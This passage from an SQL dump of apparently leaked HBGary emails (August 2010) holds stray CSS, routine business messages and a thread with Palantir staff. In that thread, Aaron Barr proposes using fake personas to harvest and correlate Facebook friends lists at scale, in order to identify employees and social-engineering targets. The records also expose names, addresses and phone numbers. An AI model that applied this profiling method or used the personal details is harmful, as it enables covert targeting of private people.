padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',14024,'aaron_hbgary_com/14024.html'),(11011,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008447.M350383P14101Q5866.eml','\"Zosh\" <mydocs@zosh.com>','ISC','\r\n',6221,'aaron_hbgary_com/6221.html'),(11012,'2010-08-30','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008447.M603773P14101Q5867.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Mon, Aug 30, \'10 at 12:36 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    ICS Standard Mutual NDA March 10 HBGary.pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13721,'aaron_hbgary_com/13721.html'),(11013,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008448.M579215P14101Q5868.eml','\"John Farrell\" <jfarrell@icscorp.com>','Re: Discuss new business opportunities?','Here you go.\r\n\r\n',14084,'aaron_hbgary_com/14084.html'),(11014,'2010-08-30','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297008448.M807574P14101Q5869.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - HQ','August 27, 2010 3:00 PM : HQ \r\n',8319,'aaron_hbgary_com/8319.html'),(11015,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008449.M19212P14101Q5870.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,,','Re: Another Killer Demo','I think you would be demonstrating something completely new from a security standpoint.  Twitter requires no authentication.  Follow anyone you want.  Facebook requires an acknowledgement to be included.  Peoples Facebook friends lists are much closer to representing someones actual social circle than just another source of information.  This has huge security consequences.  My hypothesis is there is an immense amount of information we can glean from this information.  I have actually already proven this on a small scale doing research manually.  I have been able to determine people who are employees of specific companies even though their profile was completely blocked, except their friends lists.  I correlated friends lists across multiple people who I knew were employees of a particular company to determine this.  I also was able to cross this information with Linkedin information and determine people that were in subcontracting relationships to other companies.  I think all of the facebook information in a Palantir framework could result in some of the most significant security revelations related to social media yet published.  No more handwaving, but real data to show the vulnerabilities.  There is a huge social engineering /targeting potential here as well.  If I wanted to target a particular organization what groups should I belong to, who are the influencers in the group, who has the most connections, etc.\r\n\r\nLets get together to discuss and I can walk you through some of the stuff I am doing with persona development and social media exploitation.\r\n\r\nAaron\r\nOn Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n\r\n> \r\n> 	It\'d be even easier with the graph APIs...\r\n> http://graph.facebook.com/ ... JSON parser & an API key and we could knock\r\n> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n> \r\n> 	What\'s the workflow we\'d be shooting for, other than as a\r\n> visualization front-end for an organization\'s structure? \r\n> \r\n> \r\n> \r\n> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n> trying to hunt down the video -- so we wouldn\'t be demonstrating anything\r\n> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n> pen-testing/cybersecurity context. An integration with this and some other\r\n> pen-testing data -- known account identifiers, and data collected from them,\r\n> for example -- might be cool. If we could bring in some malware fingerprint \r\n> data too, and build a whole \"here\'s how we pwned your network\"\r\n> exploration...\r\n> \r\n> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n> helpful.\r\n> \r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 26, 2010 11:43 AM\r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> On the social side here is what I would like to do.  I think between Mark\r\n> and Aaron this could be put together very quickly and would be powerful.\r\n> \r\n> start with a profile in facebook.\r\n> \r\n> http://www.facebook.com/profile.php?id=100001092994636\r\n> \r\n> View the source of that page.  There is all kinds of information we can\r\n> collect and parse to build some very robust social maps.\r\n> Those people that provide information and have their friends lists exposed\r\n> provide an incredible social engineering and recon tool.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n> \r\n>> Brandon is a rockstar!!! Good call.\r\n>> \r\n>> Let us know if you want help on the demo, sounds like it could be really\r\n>> interesting.  We\'d probably love to make a video of is as well to put up\r\n> on\r\n>> our analysis blog (with HBGary branding of course!).\r\n>> \r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantir.com | 202-257-2270\r\n>> \r\n>> Follow @palantirtech\r\n>> Watch youtube.com/palantirtech\r\n>> Attend Palantir Night Live\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>> To: Matthew Steckman\r\n>> Cc: Aaron Zollman\r\n>> Subject: Another Killer Demo\r\n>> \r\n>> Matt,\r\n>> \r\n>> I have been doing talks on social media, have a lot more scheduled, along\r\n>> with some training gigs.  In the process I am setting up a lot of personas\r\n>> and doing social media pen testing against organizations.\r\n>> \r\n>> What I have found is there is an immense amount of information peoples\r\n>> friends lists as well as other social media digital artifacts can tell us.\r\n>> I think Palantir would be an awesome tool to present and use for analysis.\r\n>> We are just going to have to get someone to write a helper app.  I am\r\n> hoping\r\n>> to be able to hire Brandon Colston soon.\r\n>> \r\n>> Aaron\r\n> \r\n\r\n',5813,'aaron_hbgary_com/5813.html'),(11016,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008449.M310544P14101Q5871.eml','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','Re: Fidelis','Sorry I was on vacation with my family for an extended weekend. &nbsp;Yes your right it does. &nbsp;My mistake I misread your previous request.Hopefully this gets to you in time.We have an immense amount of ground truth on malware, how it operates, how it propogates. &nbsp;We wrote what was widely considered one of the most comprehensive reports on the Aurora malware (malware that attacked Google). &nbsp;This knowledge would allow us to very effectively monitor network traffic and develop more advanced rulesets on the perimeter XPS device(s).There is a wide array of threats to be concerned with. &nbsp;To be effective an organization needs to be able to block the massive attacks, prevalent botnets, as well as be able to monitor and mitigate threats that use advanced attacks and communication mechanisms that are usually not readily visible. &nbsp;Accomplishing this takes experience in mitigating all levels of threats in a very noisy environment.Does this help? &nbsp;Want me to be more descriptive in a particular area?AaronOn Aug 25, 2010, at 3:33 PM, Richardson, Toby wrote:Aaron&nbsp;I have a follow up meeting with Experian on Monday.&nbsp; My hope was to discuss with them the idea of an engagement by HB Gary Federal in combination with using Fidelis.&nbsp; The below speaks more to using our combined solutions. &nbsp;Advanced malware uses techniques&nbsp;Do you have some thoughts on how I can position your services as a unique ROI for Fidelis acquisition?&nbsp;-tr&nbsp;++++++++++++++++++++++++++++++++++++++++++++++++Director, West Region214.505.3136&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, August 20, 2010 12:56 PMTo:&nbsp;Richardson, TobySubject:&nbsp;Re: Fidelis&nbsp;Rgr thanks for the reminder Toby.&nbsp;Attached is our datasheet that explains our focus on threat intelligence, incident response, and IO.&nbsp;As far as our partnership and combined capability goes this really fits into incident response. &nbsp;All to often as security vendors we develop capability for the threat today and not the threat tomorrow. &nbsp;The beautiful thing about HBGary AD and Fidelis XPS technology is it scales for future threats. &nbsp;How? &nbsp;Adversaries will continue to make security challenging. &nbsp;They are like water and look for the path of least resistance, least energy expenditure. &nbsp;As our dams get bigger they will always find ways around. &nbsp;Constant cycle. &nbsp;Adversary technologies to watch out for, that we currently see even, encryption, traffic transfer to legitimate hop points, even through large commercial infrastructures, embedded content. &nbsp;Malware that looks for mobile devices and egresses when the device is outside a corporate network (on a home or open network). &nbsp;Lots of things that can be done to make things more difficult to catch, so you have to think about the threat tomorrow.&nbsp;Hows does HB and Fidelis solve this. &nbsp;By building a solution that shortens the incident response timeline. &nbsp;You need to identify and iradicate as quickly as possible and move on. &nbsp;The goal here is not clean systems, but mission assurance and business continuity, however that can happen. &nbsp;So XPS analyzes on the wire and passes intelligence to AD to scan this box, take this action. &nbsp;Likewise, AD can find something embedded down in the environment and pass policy back to XPS to take this action, notify this person, etc. &nbsp;This combined with what we are working on in the threat intelligence space, eventually you can develop indicators and warning prior or at the beginning of an attack to block or mitigate an attack. &nbsp;The right policies are critical for XPS here to be ultimately successful in a current and future threat environment I think. &nbsp;There are too many things an adversary can do with malware and egress.&nbsp;What am I missing?&nbsp;',11540,'aaron_hbgary_com/11540.html'),(11017,'2010-08-30','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008449.M525196P14101Q5872.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Zollman\" <azollman@palantir.com>','RE: Another Killer Demo','We just need to make sure that it\'s something new...I know you understand\r\nthis Aaron B.\r\n\r\nThis type of exploitation has been around for awhile.  I still think it\'s\r\nworth reviewing as it might be interesting to show at your demo station but\r\nwe\'ll need to see what you got so far to figure out if we can make a\r\nbreakout session out of it.\r\n\r\nI\'m going to be on business travel for about the next 10 days.  Aaron Z will\r\nbe your primary PoC during that time.\r\n\r\nBest,\r\nMatt\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\nFollow @palantirtech\r\nWatch youtube.com/palantirtech\r\nAttend Palantir Night Live\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 30, 2010 8:54 AM\r\nTo: Aaron Zollman\r\nCc: Matthew Steckman; Ted Vera; Mark Trynor\r\nSubject: Re: Another Killer Demo\r\n\r\nI think you would be demonstrating something completely new from a security\r\nstandpoint.  Twitter requires no authentication.  Follow anyone you want.\r\nFacebook requires an acknowledgement to be included.  Peoples Facebook\r\nfriends lists are much closer to representing someones actual social circle\r\nthan just another source of information.  This has huge security\r\nconsequences.  My hypothesis is there is an immense amount of information we\r\ncan glean from this information.  I have actually already proven this on a\r\nsmall scale doing research manually.  I have been able to determine people\r\nwho are employees of specific companies even though their profile was\r\ncompletely blocked, except their friends lists.  I correlated friends lists\r\nacross multiple people who I knew were employees of a particular company to\r\ndetermine this.  I also was able to cross this information with Linkedin\r\ninformation and determine people that were in subcontracting relationships\r\nto other companies.  I think all of the facebook information in a Palantir\r\nframework could result in some of the most significant security revelations\r\nrelated to social media yet published.  No more handwaving, but real data to\r\nshow the vulnerabilities.  There is a huge social engineering /targeting\r\npotential here as well.  If I wanted to target a particular organization\r\nwhat groups should I belong to, who are the influencers in the group, who\r\nhas the most connections, etc.\r\n\r\nLets get together to discuss and I can walk you through some of the stuff I\r\nam doing with persona development and social media exploitation.\r\n\r\nAaron\r\nOn Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n\r\n> \r\n> 	It\'d be even easier with the graph APIs...\r\n> http://graph.facebook.com/ ... JSON parser & an API key and we could knock\r\n> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n> \r\n> 	What\'s the workflow we\'d be shooting for, other than as a\r\n> visualization front-end for an organization\'s structure? \r\n> \r\n> \r\n> \r\n> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n> trying to hunt down the video -- so we wouldn\'t be demonstrating anything\r\n> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n> pen-testing/cybersecurity context. An integration with this and some other\r\n> pen-testing data -- known account identifiers, and data collected from\r\nthem,\r\n> for example -- might be cool. If we could bring in some malware\r\nfingerprint \r\n> data too, and build a whole \"here\'s how we pwned your network\"\r\n> exploration...\r\n> \r\n> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n> helpful.\r\n> \r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 26, 2010 11:43 AM\r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> On the social side here is what I would like to do.  I think between Mark\r\n> and Aaron this could be put together very quickly and would be powerful.\r\n> \r\n> start with a profile in facebook.\r\n> \r\n> http://www.facebook.com/profile.php?id=100001092994636\r\n> \r\n> View the source of that page.  There is all kinds of information we can\r\n> collect and parse to build some very robust social maps.\r\n> Those people that provide information and have their friends lists exposed\r\n> provide an incredible social engineering and recon tool.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n> \r\n>> Brandon is a rockstar!!! Good call.\r\n>> \r\n>> Let us know if you want help on the demo, sounds like it could be really\r\n>> interesting.  We\'d probably love to make a video of is as well to put up\r\n> on\r\n>> our analysis blog (with HBGary branding of course!).\r\n>> \r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantir.com | 202-257-2270\r\n>> \r\n>> Follow @palantirtech\r\n>> Watch youtube.com/palantirtech\r\n>> Attend Palantir Night Live\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>> To: Matthew Steckman\r\n>> Cc: Aaron Zollman\r\n>> Subject: Another Killer Demo\r\n>> \r\n>> Matt,\r\n>> \r\n>> I have been doing talks on social media, have a lot more scheduled, along\r\n>> with some training gigs.  In the process I am setting up a lot of\r\npersonas\r\n>> and doing social media pen testing against organizations.\r\n>> \r\n>> What I have found is there is an immense amount of information peoples\r\n>> friends lists as well as other social media digital artifacts can tell\r\nus.\r\n>> I think Palantir would be an awesome tool to present and use for\r\nanalysis.\r\n>> We are just going to have to get someone to write a helper app.  I am\r\n> hoping\r\n>> to be able to hire Brandon Colston soon.\r\n>> \r\n>> Aaron\r\n> \r\n\r\n',4203,'aaron_hbgary_com/4203.html'),(11018,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008449.M828608P14101Q5873.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Another Killer Demo','Yep I get it.\r\n\r\nUsing social media for social engineering is nothing new for certain but being able to correlate this type of information in mass I think is new and potentially very eye opening.\r\n\r\nAaron lets get together to discuss.\r\n\r\nAaron\r\n\r\nOn Aug 30, 2010, at 9:26 AM, Matthew Steckman wrote:\r\n\r\n> We just need to make sure that it\'s something new...I know you understand\r\n> this Aaron B.\r\n> \r\n> This type of exploitation has been around for awhile.  I still think it\'s\r\n> worth reviewing as it might be interesting to show at your demo station but\r\n> we\'ll need to see what you got so far to figure out if we can make a\r\n> breakout session out of it.\r\n> \r\n> I\'m going to be on business travel for about the next 10 days.  Aaron Z will\r\n> be your primary PoC during that time.\r\n> \r\n> Best,\r\n> Matt\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> Follow @palantirtech\r\n> Watch youtube.com/palantirtech\r\n> Attend Palantir Night Live\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 30, 2010 8:54 AM\r\n> To: Aaron Zollman\r\n> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> I think you would be demonstrating something completely new from a security\r\n> standpoint.  Twitter requires no authentication.  Follow anyone you want.\r\n> Facebook requires an acknowledgement to be included.  Peoples Facebook\r\n> friends lists are much closer to representing someones actual social circle\r\n> than just another source of information.  This has huge security\r\n> consequences.  My hypothesis is there is an immense amount of information we\r\n> can glean from this information.  I have actually already proven this on a\r\n> small scale doing research manually.  I have been able to determine people\r\n> who are employees of specific companies even though their profile was\r\n> completely blocked, except their friends lists.  I correlated friends lists\r\n> across multiple people who I knew were employees of a particular company to\r\n> determine this.  I also was able to cross this information with Linkedin\r\n> information and determine people that were in subcontracting relationships\r\n> to other companies.  I think all of the facebook information in a Palantir\r\n> framework could result in some of the most significant security revelations\r\n> related to social media yet published.  No more handwaving, but real data to\r\n> show the vulnerabilities.  There is a huge social engineering /targeting\r\n> potential here as well.  If I wanted to target a particular organization\r\n> what groups should I belong to, who are the influencers in the group, who\r\n> has the most connections, etc.\r\n> \r\n> Lets get together to discuss and I can walk you through some of the stuff I\r\n> am doing with persona development and social media exploitation.\r\n> \r\n> Aaron\r\n> On Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n> \r\n>> \r\n>> 	It\'d be even easier with the graph APIs...\r\n>> http://graph.facebook.com/ ... JSON parser & an API key and we could knock\r\n>> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>> \r\n>> 	What\'s the workflow we\'d be shooting for, other than as a\r\n>> visualization front-end for an organization\'s structure? \r\n>> \r\n>> \r\n>> \r\n>> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n>> trying to hunt down the video -- so we wouldn\'t be demonstrating anything\r\n>> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n>> pen-testing/cybersecurity context. An integration with this and some other\r\n>> pen-testing data -- known account identifiers, and data collected from\r\n> them,\r\n>> for example -- might be cool. If we could bring in some malware\r\n> fingerprint \r\n>> data too, and build a whole \"here\'s how we pwned your network\"\r\n>> exploration...\r\n>> \r\n>> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n>> helpful.\r\n>> \r\n>> \r\n>> \r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, August 26, 2010 11:43 AM\r\n>> To: Matthew Steckman\r\n>> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n>> Subject: Re: Another Killer Demo\r\n>> \r\n>> On the social side here is what I would like to do.  I think between Mark\r\n>> and Aaron this could be put together very quickly and would be powerful.\r\n>> \r\n>> start with a profile in facebook.\r\n>> \r\n>> http://www.facebook.com/profile.php?id=100001092994636\r\n>> \r\n>> View the source of that page.  There is all kinds of information we can\r\n>> collect and parse to build some very robust social maps.\r\n>> Those people that provide information and have their friends lists exposed\r\n>> provide an incredible social engineering and recon tool.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>> \r\n>>> Brandon is a rockstar!!! Good call.\r\n>>> \r\n>>> Let us know if you want help on the demo, sounds like it could be really\r\n>>> interesting.  We\'d probably love to make a video of is as well to put up\r\n>> on\r\n>>> our analysis blog (with HBGary branding of course!).\r\n>>> \r\n>>> Matthew Steckman\r\n>>> Palantir Technologies | Forward Deployed Engineer\r\n>>> msteckman@palantir.com | 202-257-2270\r\n>>> \r\n>>> Follow @palantirtech\r\n>>> Watch youtube.com/palantirtech\r\n>>> Attend Palantir Night Live\r\n>>> \r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>>> To: Matthew Steckman\r\n>>> Cc: Aaron Zollman\r\n>>> Subject: Another Killer Demo\r\n>>> \r\n>>> Matt,\r\n>>> \r\n>>> I have been doing talks on social media, have a lot more scheduled, along\r\n>>> with some training gigs.  In the process I am setting up a lot of\r\n> personas\r\n>>> and doing social media pen testing against organizations.\r\n>>> \r\n>>> What I have found is there is an immense amount of information peoples\r\n>>> friends lists as well as other social media digital artifacts can tell\r\n> us.\r\n>>> I think Palantir would be an awesome tool to present and use for\r\n> analysis.\r\n>>> We are just going to have to get someone to write a helper app.  I am\r\n>> hoping\r\n>>> to be able to hire Brandon Colston soon.\r\n>>> \r\n>>> Aaron\r\n>> \r\n> \r\n\r\n',15464,'aaron_hbgary_com/15464.html'),(11019,'2010-08-30','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297008450.M766496P14101Q5874.eml','contracts@icscorp.com,contracts@icscorp.com,','NDA',' \r\n\r\nExecuted with Zosh www.zosh.com.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n',8553,'aaron_hbgary_com/8553.html'),(11020,'2010-08-30','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297008451.M283065P14101Q5876.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discuss new business opportunities?','Thanks!\r\n\r\nJohn M. Farrell\r\n(301) 768-0186\r\njfarrell@icscorp.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 30, 2010 8:42 AM\r\nTo: John Farrell\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nHere you go.\r\n\r\n',3348,'aaron_hbgary_com/3348.html'),(11021,'2010-08-30','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297008451.M562822P14101Q5877.eml','aaron@hbgary.com','MILCOM 2010 Technical Program Update','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		  \r\n          \r\n            MILCOM 2010\r\n              November 1 - November 3, 2010\r\n              San Jose Convention Center, CA\r\n               Last chance to register and save - early registration discounts end August 31! \r\n              MILCOM is the premier international conference for military communications and attracts the best and brightest with high-level attendance from government, military, industry and academia. MILCOM 2010 gives industry the opportunity to promote communications technologies and services to commanders from all branches of the armed forces, Department of Defense, federal government, and the heads of multi-national forces from around the globe. \r\nThe conference will include more than 400 technical papers in addition to tutorials, workshops and panel discussions. Presented by recognized authorities and technical experts, the classified (U.S. Secret and below) and unclassified sessions will cover topics including:\r\n\r\n  Waveforms and Signal Processing  \r\n  Networking Protocols and Performance  \r\n  Cyber Security and Network Management  \r\n  Systems Perspectives \r\n\r\n&nbsp;\r\n              Keynote Speakers include: \r\n              \r\n                LTG Dennis Via, USA, J6, The Joint Staff \r\n                Mr. Steve Wozniak, Apple Computer, Inc. Co-Founder and Fusion-io Chief Scientist \r\n                Industry Panel: Looking to the future with technology, Moderator: Mr. Russ Daniels, Chief Technology Officer, HP Enterprise Services \r\n                Former Assistant Secretary of Defense for Networks and Information Integration (ASD NII)/Command, Control, Communications and Intelligence (C3I) Panel:\r\n                  \r\n                    Dr. Robert Hermann\r\n                    Thomas Reed\r\n                     Mr. John Stenbit\r\n                  \r\n                \r\n                            \r\n              \r\n                \r\n                Panel Sessions include:\r\n              \r\n                Post TCA - What\'s Next?\r\n                Protecting and Defending Internet Traffice for the .Gov Network \r\n                SCA Waveform Portability \r\n                Unmanned Aerial Systems to Provide Enhanced C4ISR Capabilities to the Warfighter\r\n                MILSATCOM Terminal\r\n                Networking the Battlefield to Connect Every Warfighter\r\n                Protecting DoD Network Infrastructure Today and Into the Next Decade\r\n                Key Technologies that Enable Cognitive Capabilities in Radio Systems\r\n                  \r\n                  \r\n                \r\n                            \r\n              Unclassified Tutorials\r\n              \r\n                Automatic Modulation Recognition \r\n                Understanding Intelligent Military-Grade Ethernet Networks: A Versatile Solution for Achieving DoDs Net-Centric Operations Strategy \r\n                 New Directions in Cyber-Wargaming with Software Virtual Networks (SVNs) \r\n                 A Whirlwind Tour of Digital Communications: How Much Further can We Push the Envelope \r\n                 Robust Coding and Transport of Motion Imagery Data for DoD Tactical Networks \r\n                 Wideband Communication Systems: Nonlinear Characterization, Specification and Distortion Mitigation Techniques and Technology \r\n                 Communication Satellite Antennas \r\n                 Wireless Mesh Networks for Future Tactical Networking\r\n                 Commercial Wireless Networking Explained: Building Next-Generation Military Networks with Commercial Technologies\r\n                 Architectures for the Next-Generation Internet and the Future Networks \r\n                 Cyber Security and Situational Awareness: Theory and Practice \r\n                 Digital Video Broadcasting (DVB) Technologies 